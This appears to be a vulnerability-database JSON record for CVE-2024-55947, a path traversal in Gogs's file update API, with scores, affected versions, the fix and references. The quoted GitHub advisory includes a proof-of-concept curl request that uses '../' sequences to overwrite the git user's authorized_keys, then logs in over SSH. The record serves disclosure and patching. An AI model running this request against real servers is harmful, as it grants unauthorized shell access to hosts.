{"id":"CVE-2024-55947","aliases":["EUVD-2024-3608","GHSA-qf5v-rp47-55gg","GO-2024-3356","SUSE-SU-2025:0060-1","openSUSE-SU-2025:14624-1"],"status":"published","title":"Gogs has a Path Traversal in file update API","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.77685,"percentile":0.99568,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-22"],"published":"2024-12-23T15:26:47Z","modified":"2026-10-28T02:31:01Z","exploits":[{"source":"pocgithub","id":"ferralon-demo/gogs-symlink-chain","title":"ferralon-demo/gogs-symlink-chain","date":"2026-06-23","url":"https://github.com/ferralon-demo/gogs-symlink-chain"}],"fixes":[{"ecosystem":"Go","package":"gogs.io/gogs","fixed_in":["0.13.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"gogs.io/gogs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.13.1"}]}]},{"source":"osv","ecosystem":"Go","package":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.1"}]}]},{"source":"osv","ecosystem":"Go","package":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-150000.1.26.1"}]}],"bundled":18},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-150000.1.26.1"}]}],"bundled":18},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-1.1"}]}],"bundled":13}],"products":[{"vendor":"gogs","product":"gogs"}],"references":[{"url":"https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/gogs/gogs/issues/7582","tags":["x_refsource_MISC","Issue Tracking","report","web"]},{"url":"https://github.com/gogs/gogs/pull/7859","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-55947","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qf5v-rp47-55gg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/55xxx/CVE-2024-55947.json","tags":["advisory"]},{"url":"https://github.com/gogs/gogs","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20250060-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-12678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-25131","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-25133","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-28892","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-43803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45338","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-54148","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-55196","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-55947","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56362","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56513","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56514","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-9779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21609","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21613","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21614","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22130","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/UV63VQGB6Y3V7AIZHIKF3PMFVIHM32MI/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2024-55947","title":"Gogs has a Path Traversal in file update API","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T15:26:47.507Z","modified":"2024-12-24T15:59:02.793Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:34:22.153872Z"}],"euvd":[{"id":"EUVD-2024-3608","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T15:26:47Z","modified":"2024-12-24T15:59:02Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-03T00:04:33.195445Z"}],"ghsa":[{"id":"GHSA-qf5v-rp47-55gg","title":"Path Traversal in file update API in gogs","description":"### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"\u003cbase64encoded: your ssh pub key\u003e\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","status":"published","published":"2024-12-23T17:53:16Z","modified":"2025-04-10T22:56:52Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:39.044439Z"}],"nvd":[{"id":"CVE-2024-55947","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T16:15:07.253Z","modified":"2026-06-17T08:11:28.68Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:10:40.507978Z"}],"osv":[{"id":"CVE-2024-55947","title":"Gogs has a Path Traversal in file update API","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T15:26:47.507Z","modified":"2026-10-28T02:31:01.993185892Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:44.777182Z"},{"id":"GHSA-qf5v-rp47-55gg","title":"Path Traversal in file update API in gogs","description":"### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"\u003cbase64encoded: your ssh pub key\u003e\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","status":"published","published":"2024-12-23T17:53:16Z","modified":"2026-09-10T03:50:56.130290111Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:54.40888Z"},{"id":"GO-2024-3356","title":"Path Traversal in file update API in gogs in gogs.io/gogs","description":"Path Traversal in file update API in gogs in gogs.io/gogs","status":"published","published":"2025-01-07T16:03:18Z","modified":"2026-03-03T04:56:09.451205Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2025:14624-1","title":"govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-01-09T00:00:00Z","modified":"2026-02-04T03:30:26.791709Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"SUSE-SU-2025:0060-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2025-3371 GHSA-2r2v-9pf8-6342\n  * GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c\n\n- Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368\n  * GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx\n  * GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg\n  * GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8\n  * GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr\n  * GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c\n  * GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv\n  * GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq\n  * GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498\n  * GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3\n  * GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r\n  * GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4\n  * GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m\n\n- Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3101 GHSA-75qh-gg76-p2w4\n  * GO-2024-3339 GHSA-8wcc-m6j2-qxvm\n\n- Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3101 GHSA-75qh-gg76-p2w4\n  * GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p\n  * GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63\n  * GO-2024-3342 GHSA-hxr6-2p24-hf98\n  * GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp\n  * GO-2024-3344 GHSA-32gq-x56h-299c\n  * GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w\n  * GO-2024-3350 GHSA-5pf6-cq2v-23ww\n  * GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf\n","status":"published","published":"2025-01-10T11:33:29Z","modified":"2026-02-05T02:50:12.74079Z","updated_at":"2026-11-02T15:53:56.123059Z"}]}}
